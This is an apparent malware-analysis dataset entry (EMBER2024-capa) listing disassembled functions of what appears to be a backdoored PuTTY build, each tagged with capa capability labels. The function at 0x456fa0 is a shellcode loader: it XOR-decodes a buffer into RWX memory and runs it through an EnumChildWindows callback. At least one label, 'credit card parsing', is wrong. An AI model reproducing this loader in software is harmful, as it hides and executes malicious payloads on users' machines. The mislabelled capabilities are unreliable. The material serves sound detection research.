joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43faf0
Capabilities:
Hash data using sha1

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
mov dword [eax + 0x10], 0xc3d2e1f0
pop ebp
ret

Function at 0x43fde0
Capabilities:
Authenticate hmac

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [0x4f0840]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x44]
push esi
push edi
push 0x40
push 0x36
push eax
mov dword [ebp - 0x48], ebx
call fcn.00468140
mov esi, dword [ebp + 0x10]
add esp, 0xc
mov edi, dword [ebp + 0xc]
xor edx, edx
test esi, esi
jle 0x43fe37
mov ebx, edi
lea eax, [ebp - 0x44]
sub ebx, eax
nop dword [eax]
cmp edx, 0x40
jge 0x43fe34
lea ecx, [ebp - 0x44]
add ecx, edx
inc edx
mov al, byte [ebx + ecx]
xor byte [ecx], al
cmp edx, esi
jl 0x43fe20
mov ebx, dword [ebp - 0x48]
push ebx
call fcn.0043fc70
push 0x40
lea eax, [ebp - 0x44]
push eax
push ebx
call fcn.0043f9f0
push 0x40
lea eax, [ebp - 0x44]
push 0x5c
push eax
call fcn.00468140
add esp, 0x1c
xor edx, edx
test esi, esi
jle 0x43fe78
lea eax, [ebp - 0x44]
sub edi, eax
cmp edx, 0x40
jge 0x43fe78
lea ecx, [ebp - 0x44]
add ecx, edx
inc edx
mov al, byte [edi + ecx]
xor byte [ecx], al
cmp edx, esi
jl 0x43fe64
lea esi, [ebx + 0x60]
push esi
call fcn.0043fc70
push 0x40
lea eax, [ebp - 0x44]
push eax
push esi
call fcn.0043f9f0
lea eax, [ebp - 0x44]
push 0x40
push eax
call fcn.0045da90
mov ecx, dword [ebp - 4]
add esp, 0x18
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.00466875
mov esp, ebp
pop ebp
ret
Function at 0x456fa0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2340
call fcn.00466ba0
mov eax, dword [0x4f0840]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x2336
lea eax, [ebp - 0x233c]
push str.ssss_
push eax
call fcn.00467bc0
mov bl, byte [ebp - 0x233c]
add esp, 0xc
xor bl, 0x90
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 4
push 0x1000
push 0x2335
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
lea eax, [ebp - 0x2340]
push eax
push 0x40
push 0x2335
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
nop
nop
nop
lea esi, [ebp - 0x233c]
mov ecx, edi
sub esi, edi
mov edx, 0x2335
nop
mov al, byte [esi + ecx]
nop
nop
lea ecx, [ecx + 1]
nop
xor al, bl
mov byte [ecx - 1], al
sub edx, 1
jne 0x457025
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.EnumChildWindows
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push edi
push 0
call eax
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00466875
mov esp, ebp
pop ebp
ret 0x10

Function at 0x457630
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xbc
mov eax, dword [0x4f0840]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push esi
cmp eax, 1
jne 0x457679
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x4f3180]
js 0x457665
cmp eax, 0x32
jl 0x457761
push 0
call dword [sym.imp.USER32.dll_MessageBeep]
call esi
mov dword [0x4f3180], eax
jmp 0x457749
cmp eax, 3
jne 0x457708
push 0x6c
push dword [0x4f557c]
call fcn.00403080
mov ecx, dword [0x4f3174]
add esp, 8
mov esi, eax
test ecx, ecx
je 0x4576b1
push 0x20001
push 0
push dword [esi]
call ecx
test eax, eax
jne 0x457749
push dword [esi]
lea eax, [ebp - 0x58]
push str.Unable_to_play_sound_file_n_s_nUsing_default_sound_instead
push eax
call fcn.00408a10
push dword [0x4c8514]
lea eax, [ebp - 0xbc]
push str._.70s_Sound_Error
push eax
call fcn.00408a10
add esp, 0x18
lea eax, [ebp - 0xbc]
push 0x30
push eax
lea eax, [ebp - 0x58]
push eax
push dword [0x4f55b8]
call dword [sym.imp.USER32.dll_MessageBoxA]
push 1
push 0x66
push dword [0x4f557c]
call fcn.00403580
add esp, 0xc
jmp 0x457749
cmp eax, 4
jne 0x457749
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x4f3184]
js 0x457722
cmp eax, 0x32
jl 0x457761
cmp dword [0x4f54f0], 2
jne 0x45773a
push 0x64
push 0x320
call dword [sym.imp.KERNEL32.dll_Beep]
jmp 0x457742
push 0xffffffffffffffff
call dword [sym.imp.USER32.dll_MessageBeep]
call esi
mov dword [0x4f3184], eax
mov eax, dword [0x4f55ac]
cmp dword [eax + 0x134], 0
jne 0x457761
push 2
call fcn.004587b0
add esp, 4
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00466875
mov esp, ebp
pop ebp
ret

Function at 0x459680
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0
push dword [0x4f55b8]
push 0x4573b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esp, ebp
pop ebp
ret
Function at 0x45a450
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 0x10]
push esi
lea eax, [ebx + 1]
push eax
push 0x2002
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x45a4f7
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov edi, eax
test edi, edi
je 0x45a4f6
push ebx
push dword [ebp + 0xc]
push edi
call fcn.00467bc0
add esp, 0xc
mov byte [edi + ebx], 0
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov ebx, dword [ebp + 0x14]
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
test ebx, ebx
jne 0x45a4b5
push 0
push 1
push 0x8002
push dword [0x4f55b8]
call edi
push dword [0x4f55b8]
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x45a4dc
call dword [sym.imp.USER32.dll_EmptyClipboard]
push esi
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
call dword [sym.imp.USER32.dll_CloseClipboard]
jmp 0x45a4e3
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
test ebx, ebx
jne 0x45a4f6
push ebx
push ebx
push 0x8002
push dword [0x4f55b8]
call edi
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x45bf10
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push edi
push 0x1034
push 1
call fcn.0040e5e0
mov ecx, dword [ebp + 8]
add esp, 8
mov edi, eax
lea ebx, [edi + 4]
mov dword [ebx], ecx
push 0
push 0
push 0
push 0
mov dword [edi], 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
push 0
push 0
mov dword [edi + 8], eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [edi + 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [edi + 0x1030], eax
mov eax, dword [ebp + 0x10]
mov dword [edi + 0x20], eax
mov eax, dword [ebp + 0x14]
mov dword [edi + 0x24], eax
mov eax, dword [0x4f31b0]
mov dword [edi + 0x18], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
test eax, eax
jne 0x45bf9c
push 0x45bc60
call fcn.004505d0
add esp, 4
mov dword [0x4f31b0], eax
push edi
push eax
call fcn.0044f760
add esp, 8
lea eax, [ebp - 4]
push eax
push 0
push ebx
push 0x45bfd0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [edi + 0x1c], 1
mov eax, edi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x45c180
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push edi
push 0x1034
push 1
call fcn.0040e5e0
mov ecx, dword [ebp + 8]
add esp, 8
mov edi, eax
lea ebx, [edi + 4]
mov dword [ebx], ecx
push 0
push 0
push 0
push 0
mov dword [edi], 1
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
push 0
push 0
mov dword [edi + 8], eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [edi + 0xc], eax
mov eax, dword [ebp + 0x10]
mov dword [edi + 0x20], eax
lea eax, [edi + 0x38]
push eax
mov dword [edi + 0x1c], 0
mov dword [edi + 0x18], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
call fcn.0040dc10
mov eax, dword [ebp + 0xc]
add esp, 4
mov dword [edi + 0x48], eax
mov eax, dword [ebp + 0x14]
mov dword [edi + 0x24], eax
mov eax, dword [0x4f31b0]
mov dword [edi + 0x44], 0
test eax, eax
jne 0x45c223
push 0x45bc60
call fcn.004505d0
add esp, 4
mov dword [0x4f31b0], eax
push edi
push eax
call fcn.0044f760
add esp, 8
lea eax, [ebp - 4]
push eax
push 0
push ebx
push 0x45c250
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, edi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x45d8a0
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [0x4f39dc], 0
push esi
push edi
jne 0x45d8fc
push str.secur32.dll
call fcn.0045d9f0
push str.sspicli.dll
mov esi, eax
call fcn.0045d9f0
add esp, 8
test esi, esi
je 0x45d8e9
push str.GetUserNameExA
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4f39d8], eax
mov dword [0x4f39dc], 1
jmp 0x45d901
xor eax, eax
mov dword [0x4f39dc], 1
mov dword [0x4f39d8], eax
jmp 0x45d901
mov eax, dword [0x4f39d8]
test eax, eax
je 0x45d961
lea ecx, [ebp - 4]
mov dword [ebp - 4], 0
push ecx
push 0
push 8
call eax
push 1
push dword [ebp - 4]
call fcn.0040e5e0
add esp, 8
mov esi, eax
lea eax, [ebp - 4]
push eax
push esi
push 8
call dword [0x4f39d8]
movzx edi, al
test al, al
je 0x45d958
push 0x40
push esi
call fcn.00467a90
add esp, 8
test eax, eax
je 0x45d9aa
mov byte [eax], 0
xor eax, eax
test edi, edi
pop edi
cmovne eax, esi
pop esi
mov esp, ebp
pop ebp
ret
push esi
call fcn.0040e5c0
add esp, 4
mov edi, dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea eax, [ebp - 4]
push eax
push 0
mov dword [ebp - 4], 0
call edi
test eax, eax
jne 0x45d984
mov eax, 0x100
mov dword [ebp - 4], eax
jmp 0x45d987
mov eax, dword [ebp - 4]
push 1
push eax
call fcn.0040e5e0
add esp, 8
mov esi, eax
lea eax, [ebp - 4]
push eax
push esi
call edi
mov edi, eax
test edi, edi
jne 0x45d9aa
push esi
call fcn.0040e5c0
add esp, 4
xor eax, eax
test edi, edi
pop edi
cmovne eax, esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x45d9f0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [0x4f39e8]
push esi
push edi
test ecx, ecx
jne 0x45da36
mov edi, dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
xor esi, esi
lea eax, [esi + esi*2]
cdq
sub eax, edx
mov esi, eax
sar esi, 1
push 1
add esi, 0x200
push esi
push ecx
call fcn.0040e680
add esp, 0xc
mov dword [0x4f39e8], eax
push esi
push eax
call edi
mov ecx, dword [0x4f39e8]
cmp eax, esi
jge 0x45da07
push 0
push dword [ebp + 8]
push 0x4e158c
push ecx
call fcn.0040de70
add esp, 0x10
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
mov edi, eax
call fcn.0040e5c0
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebp
ret
Function at 0x460280
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x274
mov eax, dword [0x4f0840]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x12c]
push edi
push 0x107
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea ecx, [ebp - 0x12c]
dec ecx
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x4602b1
mov ax, word [0x4e1f2c]
mov word [ecx], ax
mov al, byte [0x4e1f2e]
mov byte [ecx + 2], al
lea eax, [ebp - 0x26c]
push eax
lea eax, [ebp - 0x12c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x460317
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextFileA]
nop
lea eax, [ebp - 0x26c]
push 0x140
push eax
call esi
add esp, 8
lea eax, [ebp - 0x26c]
push eax
push edi
call ebx
test eax, eax
jne 0x4602f0
pop ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x274], eax
lea eax, [ebp - 0x274]
push 4
push eax
call esi
add esp, 8
cmp dword [0x4f40dc], 0
jne 0x4603b4
push str.advapi32.dll
call fcn.0045d9f0
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
add esp, 4
mov dword [0x4f40dc], eax
test eax, eax
je 0x460367
push str.CryptAcquireContextA
push eax
call edi
mov ecx, eax
mov eax, dword [0x4f40dc]
jmp 0x460369
xor ecx, ecx
mov dword [0x4f40d0], ecx
test eax, eax
je 0x460384
push str.CryptGenRandom
push eax
call edi
mov ecx, eax
mov eax, dword [0x4f40dc]
jmp 0x460386
xor ecx, ecx
mov dword [0x4f40d4], ecx
test eax, eax
je 0x4603a8
push str.CryptReleaseContext
push eax
call edi
cmp dword [0x4f40dc], 0
mov dword [0x4f40d8], eax
je 0x460417
jmp 0x4603b9
mov dword [0x4f40d8], 0
jmp 0x460417
mov eax, dword [0x4f40d8]
mov ecx, dword [0x4f40d0]
test ecx, ecx
je 0x460417
cmp dword [0x4f40d4], 0
je 0x460417
test eax, eax
je 0x460417
push 0xf0000000
push 1
push 0
push 0
lea eax, [ebp - 0x270]
push eax
call ecx
test eax, eax
je 0x460417
lea eax, [ebp - 0x24]
push eax
push 0x20
push dword [ebp - 0x270]
call dword [0x4f40d4]
test eax, eax
je 0x460409
lea eax, [ebp - 0x24]
push 0x20
push eax
call esi
add esp, 8
push 0
push dword [ebp - 0x270]
call dword [0x4f40d8]
push esi
call fcn.00462d20
add esp, 4
call fcn.00460600
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00466875
mov esp, ebp
pop ebp
ret
Function at 0x4604a0
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
mov eax, dword [0x4f0840]
xor eax, ebp
mov dword [ebp - 4], eax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push 4
push eax
call fcn.0043a5e0
add esp, 8
call dword [sym.imp.USER32.dll_GetCapture]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push 4
push eax
call fcn.0043a5e0
add esp, 8
call dword [sym.imp.USER32.dll_GetClipboardOwner]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push 4
push eax
call fcn.0043a5e0
add esp, 8
push 0x1cbf
call dword [sym.imp.USER32.dll_GetQueueStatus]
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x4c]
push 4
push eax
call fcn.0043a5e0
add esp, 8
lea eax, [ebp - 0x54]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
lea eax, [ebp - 0x54]
push 8
push eax
call fcn.0043a5e0
add esp, 8
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
lea eax, [ebp - 0x44]
push 0x20
push eax
call fcn.0043a5e0
add esp, 8
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_GetThreadTimes]
lea eax, [ebp - 0x24]
push 0x20
push eax
call fcn.0043a5e0
add esp, 8
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessTimes]
lea eax, [ebp - 0x24]
push 0x20
push eax
call fcn.0043a5e0
mov ecx, dword [ebp - 4]
add esp, 8
xor ecx, ebp
call fcn.00466875
mov esp, ebp
pop ebp
ret
Function at 0x460930
Capabilities:
Connect pipe

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
nop dword [eax]
cmp dword [ebp + 0xc], 0
je 0x46094f
mov dword [ebp + 0xc], 0
jmp 0x460980
lea eax, [edi + 0x14]
push eax
push dword [edi + 0x10]
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
jne 0x460980
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
cmp ebx, 0x3e5
je 0x4609fc
test ebx, ebx
je 0x460980
cmp ebx, 0x217
jne 0x4609b9
mov eax, dword [edi + 0x2c]
mov ebx, dword [edi + 0x10]
push ebx
push 0x460910
mov ecx, dword [eax]
push eax
mov eax, dword [ecx + 0x10]
call eax
add esp, 0xc
test eax, eax
je 0x4609a2
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push edi
call fcn.004608a0
add esp, 8
test eax, eax
jne 0x460940
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
push ebx
call fcn.0045dab0
push eax
push str.Error_while_listening_to_named_pipe:__s
call fcn.0040df30
add esp, 0xc
mov edi, eax
mov eax, dword [ebp + 8]
push ebx
mov ecx, dword [eax + 0x2c]
push edi
push 0
push dword [eax + 0xc]
mov esi, dword [ecx]
call fcn.0045eec0
add esp, 4
push eax
mov eax, dword [ebp + 8]
push 1
push dword [eax + 0x2c]
mov eax, dword [esi]
call eax
push edi
call fcn.0040e5c0
add esp, 0x1c
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x460d00
Capabilities:
Link many functions at runtime

Disassembly:
cmp dword [0x4f4100], 0
jne 0x460dff
push edi
push str.winspool.drv
call fcn.0045d9f0
push str.spoolss.dll
mov edi, eax
call fcn.0045d9f0
add esp, 8
test edi, edi
je 0x460da7
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.EnumPrintersA
push edi
call esi
push str.OpenPrinterA
push edi
mov dword [0x4f40e0], eax
call esi
push str.ClosePrinter
push edi
mov dword [0x4f40e4], eax
call esi
push str.StartDocPrinterA
push edi
mov dword [0x4f40e8], eax
call esi
push str.EndDocPrinter
push edi
mov dword [0x4f40ec], eax
call esi
push str.StartPagePrinter
push edi
mov dword [0x4f40f0], eax
call esi
push str.EndPagePrinter
push edi
mov dword [0x4f40f4], eax
call esi
push str.WritePrinter
push edi
mov dword [0x4f40f8], eax
call esi
pop esi
mov dword [0x4f40fc], eax
mov dword [0x4f4100], 1
pop edi
ret
xor eax, eax
mov dword [0x4f40e0], 0
mov dword [0x4f40e4], 0
mov dword [0x4f40e8], 0
mov dword [0x4f40ec], 0
mov dword [0x4f40f0], 0
mov dword [0x4f40f4], 0
mov dword [0x4f40f8], 0
mov dword [0x4f40fc], eax
mov dword [0x4f4100], 1
pop edi
ret
Function at 0x461530
Capabilities:
Link many functions at runtime

Disassembly:
cmp dword [0x4f4110], 0
jne 0x4616b7
push esi
push str.advapi32.dll
mov dword [0x4f4110], 1
call fcn.0045d9f0
add esp, 4
mov dword [0x4f4118], eax
test eax, eax
je 0x4616ae
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.GetSecurityInfo
push eax
call esi
mov dword [0x4f54c8], eax
test eax, eax
je 0x4616ae
mov eax, dword [0x4f4118]
test eax, eax
je 0x4616a4
push str.SetSecurityInfo
push eax
call esi
mov dword [0x4f54c4], eax
test eax, eax
je 0x4616ae
mov eax, dword [0x4f4118]
test eax, eax
je 0x461691
push str.OpenProcessToken
push eax
call esi
mov dword [0x4f54d8], eax
test eax, eax
je 0x4616ae
mov eax, dword [0x4f4118]
test eax, eax
je 0x46167e
push str.GetTokenInformation
push eax
call esi
mov dword [0x4f54d4], eax
test eax, eax
je 0x4616ae
mov eax, dword [0x4f4118]
test eax, eax
je 0x46166b
push 0x4e2224
push eax
call esi
mov dword [0x4f54d0], eax
test eax, eax
je 0x4616ae
mov eax, dword [0x4f4118]
test eax, eax
je 0x461658
push 0x4e2244
push eax
call esi
mov dword [0x4f54cc], eax
test eax, eax
je 0x4616ae
mov eax, dword [0x4f4118]
test eax, eax
je 0x461645
push str.SetEntriesInAclA
push eax
call esi
mov dword [0x4f54c0], eax
test eax, eax
je 0x4616ae
mov eax, 1
mov dword [0x4f4114], eax
pop esi
ret
xor eax, eax
mov dword [0x4f54c0], 0
mov dword [0x4f4114], eax
pop esi
ret
xor eax, eax
mov dword [0x4f54cc], 0
mov dword [0x4f4114], eax
pop esi
ret
xor eax, eax
mov dword [0x4f54d0], 0
mov dword [0x4f4114], eax
pop esi
ret
xor eax, eax
mov dword [0x4f54d4], 0
mov dword [0x4f4114], eax
pop esi
ret
xor eax, eax
mov dword [0x4f54d8], 0
mov dword [0x4f4114], eax
pop esi
ret
mov dword [0x4f54c4], 0
xor eax, eax
mov dword [0x4f4114], eax
pop esi
ret
mov eax, dword [0x4f4114]
ret
Function at 0x4628c0
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push str.SoftwareSimonTathamPuTTYSessions
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x46292e
push esi
push edi
mov edi, dword [ebp + 8]
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4628e6
sub eax, edx
push 1
lea eax, [eax + eax*2]
inc eax
push eax
call fcn.0040e5e0
mov esi, eax
push esi
push edi
call fcn.00462b10
add esp, 0x10
push esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push esi
call fcn.0040e5c0
add esp, 4
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edi
call fcn.0045cf80
add esp, 4
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x462960
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
lea edi, [eax + eax*2]
push 1
push edi
call fcn.0040e5e0
mov esi, dword [ebp + 8]
add esp, 8
mov ebx, eax
mov edx, dword [esi + 4]
push edi
push ebx
push edx
push dword [esi]
lea ecx, [edx + 1]
mov dword [esi + 4], ecx
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
test eax, eax
jne 0x4629b1
push dword [ebp + 0x10]
mov esi, dword [ebp + 0xc]
push esi
push ebx
call fcn.00463470
push ebx
call fcn.0040e5c0
add esp, 0x10
mov eax, esi
pop edi
pop esi
pop ebx
pop ebp
ret
push ebx
call fcn.0040e5c0
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x462b10
Capabilities:
Parse credit card information

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
xor edi, edi
mov al, byte [esi]
test al, al
je 0x462b7f
mov edx, dword [ebp + 0xc]
cmp al, 0x20
je 0x462b47
cmp al, 0x5c
je 0x462b47
cmp al, 0x2a
je 0x462b47
cmp al, 0x3f
je 0x462b47
cmp al, 0x25
je 0x462b47
lea ecx, [eax - 0x20]
cmp cl, 0x5e
ja 0x462b47
cmp al, 0x2e
jne 0x462b6a
test edi, edi
jne 0x462b6a
mov byte [edx], 0x25
movzx eax, byte [esi]
shr eax, 4
movzx eax, byte [eax + str.0123456789ABCDEFUnable_to_create_registry_key_nHKEY_CURRENT_USER_s]
mov byte [edx + 1], al
add edx, 2
movzx eax, byte [esi]
and eax, 0xf
movzx eax, byte [eax + str.0123456789ABCDEFUnable_to_create_registry_key_nHKEY_CURRENT_USER_s]
inc esi
mov byte [edx], al
inc edx
mov edi, 1
mov al, byte [esi]
test al, al
jne 0x462b23
pop edi
mov byte [edx], al
pop esi
pop ebp
ret
mov eax, dword [ebp + 0xc]
pop edi
pop esi
mov byte [eax], 0
pop ebp
ret
Function at 0x462d20
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
mov eax, dword [0x4f0840]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push 1
call fcn.00462480
mov esi, eax
add esp, 4
cmp esi, 0xffffffff
je 0x462dab
push edi
mov edi, dword [sym.imp.KERNEL32.dll_ReadFile]
lea eax, [ebp - 0x408]
push 0
push eax
push 0x400
lea eax, [ebp - 0x404]
push eax
push esi
call edi
test eax, eax
je 0x462da3
nop dword [eax]
mov eax, dword [ebp - 0x408]
test eax, eax
je 0x462da3
push eax
lea eax, [ebp - 0x404]
push eax
call ebx
add esp, 8
lea eax, [ebp - 0x408]
push 0
push eax
push 0x400
lea eax, [ebp - 0x404]
push eax
push esi
call edi
test eax, eax
jne 0x462d70
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.00466875
mov esp, ebp
pop ebp
ret

Function at 0x462f30
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, dword [ebp + 8]
test edi, edi
je 0x462fad
lea eax, [ebp - 4]
push eax
push 0
lea eax, [ebp + 8]
push eax
push 0
push dword [ebp + 0xc]
push edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x462fad
cmp dword [ebp + 8], 1
jne 0x462fad
mov eax, dword [ebp - 4]
push esi
inc eax
push 1
push eax
call fcn.0040e5e0
add esp, 8
mov esi, eax
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp + 8]
push eax
push 0
push dword [ebp + 0xc]
push edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x462f9c
cmp dword [ebp + 8], 1
jne 0x462f9c
mov eax, dword [ebp - 4]
mov byte [esi + eax], 0
mov eax, esi
pop esi
pop edi
mov esp, ebp
pop ebp
ret
push esi
call fcn.0040e5c0
add esp, 4
xor eax, eax
pop esi
pop edi
mov esp, ebp
pop ebp
ret
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x462fc0
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [0x4f0840]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x10c]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
push 0x105
push eax
push 0
push esi
call edi
test eax, eax
jne 0x463053
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop word [eax + eax]
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x10c]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x46302f
push dword [ebp - 0x110]
call fcn.00462fc0
add esp, 4
push dword [ebp - 0x110]
call ebx
lea eax, [ebp - 0x10c]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push 0x105
lea eax, [ebp - 0x10c]
push eax
push 0
push esi
call edi
test eax, eax
je 0x463000
pop ebx
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00466875
mov esp, ebp
pop ebp
ret